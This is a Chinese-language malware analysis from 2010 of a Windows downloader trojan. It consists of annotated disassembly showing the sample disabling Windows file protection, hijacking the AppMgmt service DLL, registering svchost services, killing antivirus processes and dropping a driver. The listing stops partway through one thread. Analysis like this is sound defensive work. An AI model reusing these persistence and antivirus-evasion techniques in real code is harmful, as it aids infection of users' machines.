下载者DownLoader.Win32.Undef分析

DownLoader.Win32.Undef
下载者分析:
分析日期:2010.1.25

  1. 004018FE http_>/$>push ebp
  2. 004018FF       |.>mov ebp, esp
  3. 00401901       |.>sub esp, 24
  4. 00401904       |.>and [local.9], 0
  5. 00401908       |.>and [local.8], 0
  6. 0040190C       |.>push eax
  7. 0040190D       |.>call 00401912
  8. 00401912       |$>mov eax, dword ptr [esp]
  9. 00401915       |.>mov [local.8], eax
  10. 00401918       |.>pop eax
  11. 00401919       |.>push 1C                              ; /n = 1C (28.)
  12. 0040191B       |.>push 0                               ; |c = 00
  13. 0040191D       |.>lea eax, [local.7]                   ; |
  14. 00401920       |.>push eax                             ; |s
  15. 00401921       |.>call             ; /memset                     设置缓冲区指定的字符
  16. 00401926       |.>add esp, 0C
  17. 00401929       |.>push 1C                              ; /BufSize = 1C (28.)
  18. 0040192B       |.>lea eax, [local.7]                   ; |
  19. 0040192E       |.>push eax                             ; |Buffer
  20. 0040192F       |.>push [local.8]                       ; |Address
  21. 00401932       |.>call dword ptr [<&KERNEL32.VirtualQu>; /VirtualQuery
  22. 00401938       |.>mov eax, [local.6]
  23. 0040193B       |.>mov dword ptr [407574], eax
  24. 00401940       |.>push 0                               ; /pModule = NULL
  25. 00401942       |.>call dword ptr [<&KERNEL32.GetModule>; /GetModuleHandleA 获取模块句柄
  26. 00401948       |.>cmp eax, dword ptr [407574]                        比较模块基址和3C0000h,用于判断自身是exe还是dll文件
  27. 0040194E       |.>jnz short 00401966                                是exe往下执行call 1,是dll跳转到00401966地址 执行call 2
  28. 00401950       |.>push [arg.4]
  29. 00401953       |.>push [arg.3]
  30. 00401956       |.>push [arg.2]
  31. 00401959       |.>push [arg.1]
  32. 0040195C       |.>call 00401DC4                                关键call 1,作用:创建C:/IOSYS.ini配置文件,加载sfc.dll,获得去除文件保护属性的导出函数地址,感染C:/WINDOWS/system32/appmgmts.dll,qmgr.dll
  33. 00401961       |.>mov [local.9], eax
  34. 00401964       |.>jmp short 00401977
  35. 00401966       |>>push [arg.3]
  36. 00401969       |.>push [arg.2]
  37. 0040196C       |.>push [arg.1]
  38. 0040196F       |.>call 00404295                                关键call 2,
  39. 00401974       |.>mov [local.9], eax
  40. 00401977       |>>mov eax, [local.9]
  41. 0040197A       |.>leave
  42. 0040197B       /.>retn 10
复制代码

进入关键call 1,代码如下:

  1. 00401DC4        $>push ebp
  2. 00401DC5        .>mov ebp, esp
  3. 00401DC7        .>sub esp, 0C18
  4. 00401DCD        .>and dword ptr [ebp-764], 0
  5. 00401DD4        .>and dword ptr [ebp-8], 0
  6. 00401DD8        .>and dword ptr [ebp-124], 0
  7. 00401DDF        .>and dword ptr [ebp-14], 0
  8. 00401DE3        .>and dword ptr [ebp-654], 0
  9. 00401DEA        .>and dword ptr [ebp-4], 0
  10. 00401DEE        .>and dword ptr [ebp-128], 0
  11. 00401DF5        .>mov eax, dword ptr [<&USER32.wsprint>
  12. 00401DFA        .>mov dword ptr [ebp-C], eax
  13. 00401DFD        .>call dword ptr [<&USER32.GetInputSta>; [GetInputState
  14. 00401E03        .>push 0                               ; /lParam = 0
  15. 00401E05        .>push 0                               ; |wParam = 0
  16. 00401E07        .>push 0                               ; |Message = WM_NULL
  17. 00401E09        .>call dword ptr [<&KERNEL32.GetCurren>; |[GetCurrentThreadId
  18. 00401E0F        .>push eax                             ; |ThreadId
  19. 00401E10        .>call dword ptr [<&USER32.PostThreadM>; /PostThreadMessageA
  20. 00401E16        .>push 0                               ; /MsgFilterMax = 0
  21. 00401E18        .>push 0                               ; |MsgFilterMin = 0
  22. 00401E1A        .>push 0                               ; |hWnd = NULL
  23. 00401E1C        .>lea eax, dword ptr [ebp-24C]         ; |
  24. 00401E22        .>push eax                             ; |pMsg
  25. 00401E23        .>call dword ptr [<&USER32.GetMessageA>; /GetMessageA
  26. 00401E29        .>push 0040757C
  27. 00401E2E        .>push 00407578
  28. 00401E33        .>push 0
  29. 00401E35        .>call 0040197E
  30. 00401E3A        .>push 104                             ; /BufSize = 104 (260.)
  31. 00401E3F        .>lea eax, dword ptr [ebp-230]         ; |
  32. 00401E45        .>push eax                             ; |Buffer
  33. 00401E46        .>call dword ptr [<&KERNEL32.GetWindow>; /GetWindowsDirectoryA
  34. 00401E4C        .>push 104                             ; /n = 104 (260.)
  35. 00401E51        .>push 0                               ; |c = 00
  36. 00401E53        .>lea eax, dword ptr [ebp-120]         ; |
  37. 00401E59        .>push eax                             ; |s
  38. 00401E5A        .>call             ; /memset
  39. 00401E5F        .>add esp, 0C
  40. 00401E62        .>lea eax, dword ptr [ebp-120]
  41. 00401E68        .>push eax                             ; /Buffer
  42. 00401E69        .>push 104                             ; |BufSize = 104 (260.)
  43. 00401E6E        .>call dword ptr [<&KERNEL32.GetTempPa>; /GetTempPathA
  44. 00401E74        .>push 0F003F
  45. 00401E79        .>push 0
  46. 00401E7B        .>push 0
  47. 00401E7D        .>call dword ptr [<&ADVAPI32.OpenSCMan>;  advapi32.OpenSCManagerA
  48. 00401E83        .>mov dword ptr [ebp-4], eax
  49. 00401E86        .>push 0040536C                        ; /sfc_os.dll
  50. 00401E8B        .>call dword ptr [<&KERNEL32.LoadLibra>; /LoadLibraryA    加载sfc.dll
  51. 00401E91        .>mov dword ptr [ebp-654], eax
  52. 00401E97        .>cmp dword ptr [ebp-654], 0
  53. 00401E9E        .>jnz short 00401EAA
  54. 00401EA0        .>jmp 004020C8
  55. 00401EA5        .>jmp 004020C8
  56. 00401EAA        >>push 5                               ; /ProcNameOrOrdinal = #5
  57. 00401EAC        .>push dword ptr [ebp-654]             ; |hModule
  58. 00401EB2        .>call dword ptr [<&KERNEL32.GetProcAd>; /GetProcAddress                获得去除文件保护属性的#5函数地址
  59. 00401EB8        .>mov dword ptr [407580], eax
  60. 00401EBD        .>and dword ptr [ebp-768], 0
  61. 00401EC4        .>and dword ptr [ebp-B6C], 0
  62. 00401ECB        .>jmp short 00401EDA
  63. 00401ECD        >>mov eax, dword ptr [ebp-B6C]
  64. 00401ED3        .>inc eax
  65. 00401ED4        .>mov dword ptr [ebp-B6C], eax
  66. 00401EDA        >>cmp dword ptr [ebp-B6C], 12
  67. 00401EE1        .>jge 004020C8
  68. 00401EE7        .>push dword ptr [ebp-B6C]
  69. 00401EED        .>push 0
  70. 00401EEF        .>push 40
  71. 00401EF1        .>lea eax, dword ptr [ebp-BB0]
  72. 00401EF7        .>push eax
  73. 00401EF8        .>call 004017AC                          //解密一些可以替换的服务名
  74. 00401EFD        .>push dword ptr [ebp-B6C]
  75. 00401F03        .>push 1
  76. 00401F05        .>push 40
  77. 00401F07        .>lea eax, dword ptr [ebp-BF0]
  78. 00401F0D        .>push eax
  79. 00401F0E        .>call 004017AC                              //解密可以替换的服务对应的组件文件名                  
  80. 00401F13        .>push 0F01FF
  81. 00401F18        .>lea eax, dword ptr [ebp-BB0]
  82. 00401F1E        .>push eax
  83. 00401F1F        .>push dword ptr [ebp-4]
  84. 00401F22        .>call dword ptr [<&ADVAPI32.OpenServi>;  advapi32.OpenServiceA
  85. 00401F28        .>mov dword ptr [ebp-128], eax
  86. 00401F2E        .>cmp dword ptr [ebp-128], 0
  87. 00401F35        .>jnz short 00401F39
  88. 00401F37        .>jmp short 00401ECD                                //打开服务打开后返回上面选择下一个服务
  89. 00401F39        >>lea eax, dword ptr [ebp-C0C]
  90. 00401F3F        .>push eax
  91. 00401F40        .>push dword ptr [ebp-128]
  92. 00401F46        .>call dword ptr [<&ADVAPI32.QueryServ>;  advapi32.QueryServiceStatus                查找名为"AppMgmt"的服务,若找到,检查服务状态,如果该服务已启动,将其终止。
  93. 00401F4C        .>cmp dword ptr [ebp-C08], 1
  94. 00401F53        .>je short 00401F8B
  95. 00401F55        .>cmp dword ptr [ebp-768], 0
  96. 00401F5C        .>jnz short 00401F68
  97. 00401F5E        .>jmp 0040207E                                 //当服务状态查询返回失败的时候,跳至0040207E
  98. 00401F63        .>jmp 0040207E
  99. 00401F68        >>lea eax, dword ptr [ebp-C0C]
  100. 00401F6E        .>push eax
  101. 00401F6F        .>push 1
  102. 00401F71        .>push dword ptr [ebp-128]
  103. 00401F77        .>call dword ptr [<&ADVAPI32.ControlSe>;  advapi32.ControlService
  104. 00401F7D        .>test eax, eax
  105. 00401F7F        .>jnz short 00401F8B
  106. 00401F81        .>jmp 0040207E
  107. 00401F86        .>jmp 0040207E
  108. 00401F8B        >>push 104                             ; /n = 104 (260.)
  109. 00401F90        .>push 0                               ; |c = 00
  110. 00401F92        .>lea eax, dword ptr [ebp-760]         ; |
  111. 00401F98        .>push eax                             ; |s
  112. 00401F99        .>call             ; /memset
  113. 00401F9E        .>add esp, 0C
  114. 00401FA1        .>cmp dword ptr [ebp-764], 0
  115. 00401FA8        .>jnz short 00401FD4
  116. 00401FAA        .>push 00405378                        ; /.dll
  117. 00401FAF        .>lea eax, dword ptr [ebp-BF0]         ; |
  118. 00401FB5        .>push eax                             ; |<%s>
  119. 00401FB6        .>lea eax, dword ptr [ebp-230]         ; |
  120. 00401FBC        .>push eax                             ; |<%s>
  121. 00401FBD        .>push 00405380                        ; |%s/system32/%s%s
  122. 00401FC2        .>lea eax, dword ptr [ebp-760]         ; |
  123. 00401FC8        .>push eax                             ; |s
  124. 00401FC9        .>call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA         连接字符串 C:/WINDOWS/system32/appmgmts.dll
  125. 00401FCF        .>add esp, 14
  126. 00401FD2        .>jmp short 00402009
  127. 00401FD4        >>call 0040176E
  128. 00401FD9        .>push eax                             ; /<%d>
  129. 00401FDA        .>lea eax, dword ptr [ebp-120]         ; |
  130. 00401FE0        .>push eax                             ; |<%s>
  131. 00401FE1        .>push 00405394                        ; |%s%d.dll
  132. 00401FE6        .>lea eax, dword ptr [ebp-760]         ; |
  133. 00401FEC        .>push eax                             ; |s
  134. 00401FED        .>call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA        连接字符串
  135. 00401FF3        .>add esp, 10
  136. 00401FF6        .>lea eax, dword ptr [ebp-760]
  137. 00401FFC        .>push eax
  138. 00401FFD        .>lea eax, dword ptr [ebp-BB0]
  139. 00402003        .>push eax
  140. 00402004        .>call 00401B0C
  141. 00402009        >>lea eax, dword ptr [ebp-760]
  142. 0040200F        .>push eax
  143. 00402010        .>call 00401BBD                        ;  检查文件appmgmts.dll是否存在
  144. 00402015        .>test eax, eax
  145. 00402017        .>jnz short 0040201D                        若不存在,则创建C:/System32/appmgmts.dll。若找到appmgmts.dll,则去掉该文件保护属性,释放病毒动态链接库并命名为appmgmts.dll
  146. 00402019        .>jmp short 0040207E                        若被感染就往下跳转
  147. 0040201B        .>jmp short 0040207E
  148. 0040201D        >>push 0
  149. 0040201F        .>push 0
  150. 00402021        .>push dword ptr [ebp-128]               
  151. 00402027        .>call dword ptr [<&ADVAPI32.StartServ>;  advapi32.StartServiceA        启动"AppMgmt"服务,通过该服务加载C:/System32/appmgmts.dll。
  152. 0040202D        .>test eax, eax
  153. 0040202F        .>jnz short 00402035                   ;  
  154. 00402031        .>jmp short 0040207E
  155. 00402033        .>jmp short 0040207E
  156. 00402035        >>push dword ptr [ebp-654]             ; /hLibModule
  157. 0040203B        .>call dword ptr [<&KERNEL32.FreeLibra>; /FreeLibrary
  158. 00402041        .>push dword ptr [ebp-128]
  159. 00402047        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  160. 0040204D        .>push dword ptr [ebp-4]
  161. 00402050        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  162. 00402056        .>cmp dword ptr [407578], 0
  163. 0040205D        .>je short 00402076
  164. 0040205F        .>mov eax, dword ptr [407578]
  165. 00402064        .>mov dword ptr [ebp-C10], eax
  166. 0040206A        .>push dword ptr [ebp-C10]
  167. 00402070        .>call
  168. 00402075        .>pop ecx
  169. 00402076        >>push 0                               ; /ExitCode = 0
  170. 00402078        .>call dword ptr [<&KERNEL32.ExitProce>; /ExitProcess
  171. 0040207E        >>cmp dword ptr [ebp-764], 1
  172. 00402085        .>jnz short 00402094
  173. 00402087        .>lea eax, dword ptr [ebp-760]
  174. 0040208D        .>push eax                             ; /FileName
  175. 0040208E        .>call dword ptr [<&KERNEL32.DeleteFil>; /DeleteFileA
  176. 00402094        >>push dword ptr [ebp-128]
  177. 0040209A        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  178. 004020A0        .>cmp dword ptr [ebp-B6C], 11
  179. 004020A7        .>jnz short 004020C3
  180. 004020A9        .>cmp dword ptr [ebp-768], 0
  181. 004020B0        .>jnz short 004020C3
  182. 004020B2        .>mov dword ptr [ebp-768], 1
  183. 004020BC        .>or dword ptr [ebp-B6C], FFFFFFFF
  184. 004020C3        >>jmp 00401ECD                                               //服务状态查询返回失败选择下一个服务
  185. 004020C8        >>lea eax, dword ptr [ebp-10]
  186. 004020CB        .>push eax                             ; /pHandle
  187. 004020CC        .>push 1                               ; |Access = KEY_QUERY_VALUE
  188. 004020CE        .>push 0                               ; |Reserved = 0
  189. 004020D0        .>push 004053A0                        ; |SOFTWARE/Microsoft/Windows NT/CurrentVersion/Svchost
  190. 004020D5        .>push 80000002                        ; |hKey = HKEY_LOCAL_MACHINE
  191. 004020DA        .>call dword ptr [<&ADVAPI32.RegOpenKe>; /RegOpenKeyExA
  192. 004020E0        .>push 400                             ; /n = 400 (1024.)
  193. 004020E5        .>push 0                               ; |c = 00
  194. 004020E7        .>lea eax, dword ptr [ebp-B68]         ; |
  195. 004020ED        .>push eax                             ; |s
  196. 004020EE        .>call             ; /memset
  197. 004020F3        .>add esp, 0C
  198. 004020F6        .>mov dword ptr [ebp-14], 400
  199. 004020FD        .>lea eax, dword ptr [ebp-14]
  200. 00402100        .>push eax                             ; /pBufSize
  201. 00402101        .>lea eax, dword ptr [ebp-B68]         ; |
  202. 00402107        .>push eax                             ; |Buffer
  203. 00402108        .>lea eax, dword ptr [ebp-124]         ; |
  204. 0040210E        .>push eax                             ; |pValueType
  205. 0040210F        .>push 0                               ; |Reserved = NULL
  206. 00402111        .>push 004053D8                        ; |netsvcsvcs%SystemRoot%/System32/svchost.exe -k nets
  207. 00402116        .>push dword ptr [ebp-10]              ; |hKey
  208. 00402119        .>call dword ptr [<&ADVAPI32.RegQueryV>; /RegQueryValueExA
  209. 0040211F        .>push dword ptr [ebp-10]              ; /hKey
  210. 00402122        .>call dword ptr [<&ADVAPI32.RegCloseK>; /RegCloseKey
  211. 00402128        .>lea eax, dword ptr [ebp-B68]
  212. 0040212E        .>mov dword ptr [ebp-8], eax
  213. 00402131        >>mov eax, dword ptr [ebp-8]
  214. 00402134        .>movsx eax, byte ptr [eax]
  215. 00402137        .>test eax, eax
  216. 00402139        .>je 004022AF
  217. 0040213F        .>push 400                             ; /n = 400 (1024.)
  218. 00402144        .>push 0                               ; |c = 00
  219. 00402146        .>lea eax, dword ptr [ebp-650]         ; |
  220. 0040214C        .>push eax                             ; |s
  221. 0040214D        .>call             ; /memset
  222. 00402152        .>add esp, 0C
  223. 00402155        .>push 004053E0                        ;  vcs%SystemRoot%/System32/svchost.exe -k nets
  224. 0040215A        .>push 004053E4                        ;  %SystemRoot%/System32/svchost.exe -k nets
  225. 0040215F        .>push 00405410                        ;  %s%s
  226. 00402164        .>lea eax, dword ptr [ebp-650]
  227. 0040216A        .>push eax
  228. 0040216B        .>call dword ptr [ebp-C]
  229. 0040216E        .>add esp, 10
  230. 00402171        .>push 0                               ; /Password = NULL
  231. 00402173        .>push 0                               ; |ServiceStartName = NULL
  232. 00402175        .>push 0                               ; |pDependencies = NULL
  233. 00402177        .>push 0                               ; |pTagId = NULL
  234. 00402179        .>push 0                               ; |LoadOrderGroup = NULL
  235. 0040217B        .>lea eax, dword ptr [ebp-650]         ; |
  236. 00402181        .>push eax                             ; |BinaryPathName
  237. 00402182        .>push 1                               ; |ErrorControl = SERVICE_ERROR_NORMAL
  238. 00402184        .>push 2                               ; |StartType = SERVICE_AUTO_START
  239. 00402186        .>push 20                              ; |ServiceType = SERVICE_WIN32_SHARE_PROCESS
  240. 00402188        .>push 10                              ; |DesiredAccess = SERVICE_START
  241. 0040218A        .>push dword ptr [ebp-8]               ; |DisplayName
  242. 0040218D        .>push dword ptr [ebp-8]               ; |ServiceName
  243. 00402190        .>push dword ptr [ebp-4]               ; |hManager
  244. 00402193        .>call dword ptr [<&ADVAPI32.CreateSer>; /CreateServiceA
  245. 00402199        .>mov dword ptr [ebp-128], eax
  246. 0040219F        .>cmp dword ptr [ebp-128], 0
  247. 004021A6        .>je 00402281
  248. 004021AC        .>cmp dword ptr [ebp-764], 0
  249. 004021B3        .>jnz short 004021DB
  250. 004021B5        .>push 00405378                        ; /.dll
  251. 004021BA        .>push dword ptr [ebp-8]               ; |<%s>
  252. 004021BD        .>lea eax, dword ptr [ebp-230]         ; |
  253. 004021C3        .>push eax                             ; |<%s>
  254. 004021C4        .>push 00405380                        ; |%s/system32/%s%s
  255. 004021C9        .>lea eax, dword ptr [ebp-760]         ; |
  256. 004021CF        .>push eax                             ; |s
  257. 004021D0        .>call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA
  258. 004021D6        .>add esp, 14
  259. 004021D9        .>jmp short 004021FD
  260. 004021DB        >>call 0040176E
  261. 004021E0        .>push eax                             ; /<%d>
  262. 004021E1        .>lea eax, dword ptr [ebp-120]         ; |
  263. 004021E7        .>push eax                             ; |<%s>
  264. 004021E8        .>push 00405394                        ; |%s%d.dll
  265. 004021ED        .>lea eax, dword ptr [ebp-760]         ; |
  266. 004021F3        .>push eax                             ; |s
  267. 004021F4        .>call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA
  268. 004021FA        .>add esp, 10
  269. 004021FD        >>lea eax, dword ptr [ebp-760]
  270. 00402203        .>push eax
  271. 00402204        .>push dword ptr [ebp-8]
  272. 00402207        .>call 00401B0C
  273. 0040220C        .>lea eax, dword ptr [ebp-760]
  274. 00402212        .>push eax
  275. 00402213        .>call 00401BBD
  276. 00402218        .>test eax, eax
  277. 0040221A        .>jnz short 00402220
  278. 0040221C        .>jmp short 00402281
  279. 0040221E        .>jmp short 00402281
  280. 00402220        >>push 0
  281. 00402222        .>push 0
  282. 00402224        .>push dword ptr [ebp-128]
  283. 0040222A        .>call dword ptr [<&ADVAPI32.StartServ>;  advapi32.StartServiceA
  284. 00402230        .>test eax, eax
  285. 00402232        .>jnz short 00402238
  286. 00402234        .>jmp short 00402281
  287. 00402236        .>jmp short 00402281
  288. 00402238        >>push dword ptr [ebp-654]             ; /hLibModule
  289. 0040223E        .>call dword ptr [<&KERNEL32.FreeLibra>; /FreeLibrary
  290. 00402244        .>push dword ptr [ebp-128]
  291. 0040224A        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  292. 00402250        .>push dword ptr [ebp-4]
  293. 00402253        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  294. 00402259        .>cmp dword ptr [407578], 0
  295. 00402260        .>je short 00402279
  296. 00402262        .>mov eax, dword ptr [407578]
  297. 00402267        .>mov dword ptr [ebp-C14], eax
  298. 0040226D        .>push dword ptr [ebp-C14]
  299. 00402273        .>call
  300. 00402278        .>pop ecx
  301. 00402279        >>push 0                               ; /ExitCode = 0
  302. 0040227B        .>call dword ptr [<&KERNEL32.ExitProce>; /ExitProcess
  303. 00402281        >>cmp dword ptr [ebp-764], 1
  304. 00402288        .>jnz short 00402297
  305. 0040228A        .>lea eax, dword ptr [ebp-760]
  306. 00402290        .>push eax                             ; /FileName
  307. 00402291        .>call dword ptr [<&KERNEL32.DeleteFil>; /DeleteFileA
  308. 00402297        >>push dword ptr [ebp-8]               ; /String
  309. 0040229A        .>call dword ptr [<&KERNEL32.lstrlenA>>; /lstrlenA
  310. 004022A0        .>mov ecx, dword ptr [ebp-8]
  311. 004022A3        .>lea eax, dword ptr [ecx+eax+1]
  312. 004022A7        .>mov dword ptr [ebp-8], eax
  313. 004022AA        .>jmp 00402131
  314. 004022AF        >>push dword ptr [ebp-654]             ; /hLibModule
  315. 004022B5        .>call dword ptr [<&KERNEL32.FreeLibra>; /FreeLibrary
  316. 004022BB        .>push dword ptr [ebp-4]
  317. 004022BE        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  318. 004022C4        .>cmp dword ptr [407578], 0
  319. 004022CB        .>je short 004022E4
  320. 004022CD        .>mov eax, dword ptr [407578]
  321. 004022D2        .>mov dword ptr [ebp-C18], eax
  322. 004022D8        .>push dword ptr [ebp-C18]
  323. 004022DE        .>call
  324. 004022E3        .>pop ecx
  325. 004022E4        >>push 0                               ; /ExitCode = 0
  326. 004022E6        .>call dword ptr [<&KERNEL32.ExitProce>; /ExitProcess
  327. 004022EC        .>leave
  328. 004022ED        .>retn 10
复制代码

进入关键call 2,代码如下:

  1. 003C4295       /$  5>push ebp
  2. 003C4296       |.  8>mov ebp, esp
  3. 003C4298       |.  8>cmp [arg.2], 1
  4. 003C429C       |.  7>jnz short 003C42B3
  5. 003C429E       |.  6>push 0                               ; /pThreadId = NULL
  6. 003C42A0       |.  6>push 0                               ; |CreationFlags = 0
  7. 003C42A2       |.  6>push 0                               ; |pThreadParm = NULL
  8. 003C42A4       |.  6>push 003C43D1                        ; |ThreadFunction = appmgmts.003C43D1               
  9. 003C42A9       |.  6>push 0                               ; |StackSize = 0
  10. 003C42AB       |.  6>push 0                               ; |pSecurity = NULL
  11. 003C42AD       |.  F>call dword ptr [<&KERNEL32.CreateThr>; /CreateThread                创建一个线程1
  12. 003C42B3       |>  3>xor eax, eax
  13. 003C42B5       |.  4>inc eax
  14. 003C42B6       |.  5>pop ebp
  15. 003C42B7       /.  C>retn 0C
复制代码

进入线程 1,代码如下:

  1. 003C43D1        >push ebp
  2. 003C43D2        >mov ebp, esp
  3. 003C43D4        >mov eax, 1DA0
  4. 003C43D9        >call 003C4920
  5. 003C43DE        >and dword ptr [ebp-18], 0
  6. 003C43E2        >and dword ptr [ebp-8], 0
  7. 003C43E6        >and dword ptr [ebp-14], 0
  8. 003C43EA        >and dword ptr [ebp-1C], 0
  9. 003C43EE        >and dword ptr [ebp-20], 0
  10. 003C43F2        >or dword ptr [ebp-10], FFFFFFFF
  11. 003C43F6        >and dword ptr [ebp-4], 0
  12. 003C43FA        >mov eax, dword ptr [<&USER32.wsprint>
  13. 003C43FF        >mov dword ptr [ebp-C], eax
  14. 003C4402        >mov eax, dword ptr [<&SHLWAPI.SHDele>
  15. 003C4407        >mov dword ptr [ebp-930], eax
  16. 003C440D        >mov eax, dword ptr [<&KERNEL32.Sleep>
  17. 003C4412        >mov dword ptr [ebp-92C], eax
  18. 003C4418        >push 0
  19. 003C441A        >call 003C1550                                打开配置文件C:/IOSYS.ini
  20. 003C441F        >mov dword ptr [3C7588], eax
  21. 003C4424        >push 003C564C                        ;  ASCII "avp.exe"
  22. 003C4429        >call 003C1000                                关闭遍历进程杀毒软件       
  23. 003C442E        >test eax, eax
  24. 003C4430        >jnz short 003C4440
  25. 003C4432        >push 003C5654                        ;  ASCII "bdagent.exe"
  26. 003C4437        >call 003C1000                                关闭遍历进程杀毒软件
  27. 003C443C        >test eax, eax
  28. 003C443E        >je short 003C4445
  29. 003C4440        >call 003C133B
  30. 003C4445        >push 0
  31. 003C4447        >push dword ptr [3C600C]
  32. 003C444D        >push 800
  33. 003C4452        >push 003C6350                               
  34. 003C4457        >call 003C1680                                解密字符函数,这里解密出KVMonXP.kxp               
  35. 003C445C        >push 104                             ; /n = 104 (260.)
  36. 003C4461        >push 0                               ; |c = 00
  37. 003C4463        >push 003C7368                        ; |s = appmgmts.003C7368
  38. 003C4468        >call             ; /memset
  39. 003C446D        >add esp, 0C
  40. 003C4470        >push 003C7368                        ; /Buffer = appmgmts.003C7368
  41. 003C4475        >push 104                             ; |BufSize = 104 (260.)
  42. 003C447A        >call dword ptr [<&KERNEL32.GetTempPa>; /GetTempPathA
  43. 003C4480        >push 104                             ; /n = 104 (260.)
  44. 003C4485        >push 0                               ; |c = 00
  45. 003C4487        >push 003C7470                        ; |s = appmgmts.003C7470
  46. 003C448C        >call             ; /memset
  47. 003C4491        >add esp, 0C
  48. 003C4494        >push 104                             ; /BufSize = 104 (260.)
  49. 003C4499        >push 003C7470                        ; |Buffer = appmgmts.003C7470
  50. 003C449E        >call dword ptr [<&KERNEL32.GetSystem>; /GetSystemDirectoryA
  51. 003C44A4        >push 104                             ; /n = 104 (260.)
  52. 003C44A9        >push 0                               ; |c = 00
  53. 003C44AB        >lea eax, dword ptr [ebp-B40]         ; |
  54. 003C44B1        >push eax                             ; |s
  55. 003C44B2        >call             ; /memset
  56. 003C44B7        >add esp, 0C
  57. 003C44BA        >push 003C5660                        ;  ASCII "Accopt.sys"
  58. 003C44BF        >push 003C7368
  59. 003C44C4        >push 003C5410                        ;  ASCII "%s%s"
  60. 003C44C9        >lea eax, dword ptr [ebp-B40]
  61. 003C44CF        >push eax
  62. 003C44D0        >call dword ptr [ebp-C]                        字符连接函数
  63. 003C44D3        >add esp, 10
  64. 003C44D6        >push 80
  65. 003C44DB        >push 65
  66. 003C44DD        >push dword ptr [3C7574]              ;  appmgmts.003C0000
  67. 003C44E3        >lea eax, dword ptr [ebp-B40]
  68. 003C44E9        >push eax
  69. 003C44EA        >call 003C13FE                                获取自身资源信息
  70. 003C44EF        >lea eax, dword ptr [ebp-B40]
  71. 003C44F5        >push eax
  72. 003C44F6        >call 003C4361                                创建一个名为Accopt的服务
  73. 003C44FB        >push 400                             ; /n = 400 (1024.)
  74. 003C4500        >push 0                               ; |c = 00
  75. 003C4502        >lea eax, dword ptr [ebp-F40]         ; |
  76. 003C4508        >push eax                             ; |s
  77. 003C4509        >call             ; /memset
  78. 003C450E        >add esp, 0C
  79. 003C4511        >push 003C5644                        ; /<%s> = "Accopt"
  80. 003C4516        >push dword ptr [3C6004]              ; |<%s> = "SYSTEM/CurrentControlSet/Services"
  81. 003C451C        >push 003C534C                        ; |Format = "%s/%s"
  82. 003C4521        >lea eax, dword ptr [ebp-F40]         ; |
  83. 003C4527        >push eax                             ; |s
  84. 003C4528        >call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA
  85. 003C452E        >add esp, 10
  86. 003C4531        >lea eax, dword ptr [ebp-F40]
  87. 003C4537        >push eax
  88. 003C4538        >push 80000002
  89. 003C453D        >call dword ptr [ebp-930]                SHDeleteKey
  90. 003C4543        >lea eax, dword ptr [ebp-B40]
  91. 003C4549        >push eax                             ; /FileName
  92. 003C454A        >call dword ptr [<&KERNEL32.DeleteFil>; /DeleteFileA        删除驱动Accopt.sys文件
  93. 003C4550        >push 104                             ; /BufSize = 104 (260.)
  94. 003C4555        >lea eax, dword ptr [ebp-A38]         ; |
  95. 003C455B        >push eax                             ; |PathBuffer
  96. 003C455C        >push dword ptr [3C7574]              ; |hModule = 003C0000 (appmgmts)
  97. 003C4562        >call dword ptr [<&KERNEL32.GetModule>; /GetModuleFileNameA
  98. 003C4568        >push 5C                              ; /c = 5C  ('/')
  99. 003C456A        >lea eax, dword ptr [ebp-A38]         ; |
  100. 003C4570        >push eax                             ; |s
  101. 003C4571        >call dword ptr [<&MSVCRT.strrchr>]   ; /strrchr
  102. 003C4577        >pop ecx
  103. 003C4578        >pop ecx
  104. 003C4579        >inc eax
  105. 003C457A        >push eax                             ; /String2
  106. 003C457B        >lea eax, dword ptr [ebp-928]         ; |
  107. 003C4581        >push eax                             ; |String1
  108. 003C4582        >call dword ptr [<&KERNEL32.lstrcpyA>>; /lstrcpyA
  109. 003C4588        >push 2E                              ; /c = 2E  ('.')
  110. 003C458A        >lea eax, dword ptr [ebp-928]         ; |
  111. 003C4590        >push eax                             ; |s
  112. 003C4591        >call dword ptr [<&MSVCRT.strrchr>]   ; /strrchr
  113. 003C4597        >pop ecx
  114. 003C4598        >pop ecx
  115. 003C4599        >and dword ptr [eax], 0
  116. 003C459C        >and dword ptr [ebp-F44], 0
  117. 003C45A3        >jmp short 003C45B2
  118. 003C45A5        >mov eax, dword ptr [ebp-F44]
  119. 003C45AB        >inc eax
  120. 003C45AC        >mov dword ptr [ebp-F44], eax
  121. 003C45B2        >cmp dword ptr [ebp-F44], 12
  122. 003C45B9        >jge 003C4687
  123. 003C45BF        >push dword ptr [ebp-F44]
  124. 003C45C5        >push 0
  125. 003C45C7        >push 40
  126. 003C45C9        >lea eax, dword ptr [ebp-F88]
  127. 003C45CF        >push eax
  128. 003C45D0        >call 003C17AC
  129. 003C45D5        >push dword ptr [ebp-F44]
  130. 003C45DB        >push 1
  131. 003C45DD        >push 40
  132. 003C45DF        >lea eax, dword ptr [ebp-FC8]
  133. 003C45E5        >push eax
  134. 003C45E6        >call 003C17AC
  135. 003C45EB        >lea eax, dword ptr [ebp-FC8]
  136. 003C45F1        >push eax                             ; /String2
  137. 003C45F2        >lea eax, dword ptr [ebp-928]         ; |
  138. 003C45F8        >push eax                             ; |String1
  139. 003C45F9        >call dword ptr [<&KERNEL32.lstrcmpiA>; /lstrcmpiA
  140. 003C45FF        >test eax, eax
  141. 003C4601        >jnz short 003C4682
  142. 003C4603        >and dword ptr [ebp-FCC], 0
  143. 003C460A        >mov dword ptr [ebp-FD0], 2
  144. 003C4614        >lea eax, dword ptr [ebp-F88]
  145. 003C461A        >push eax                             ; /<%s>
  146. 003C461B        >push dword ptr [3C6004]              ; |<%s> = "SYSTEM/CurrentControlSet/Services"
  147. 003C4621        >push 003C534C                        ; |Format = "%s/%s"
  148. 003C4626        >lea eax, dword ptr [ebp-13D0]        ; |
  149. 003C462C        >push eax                             ; |s
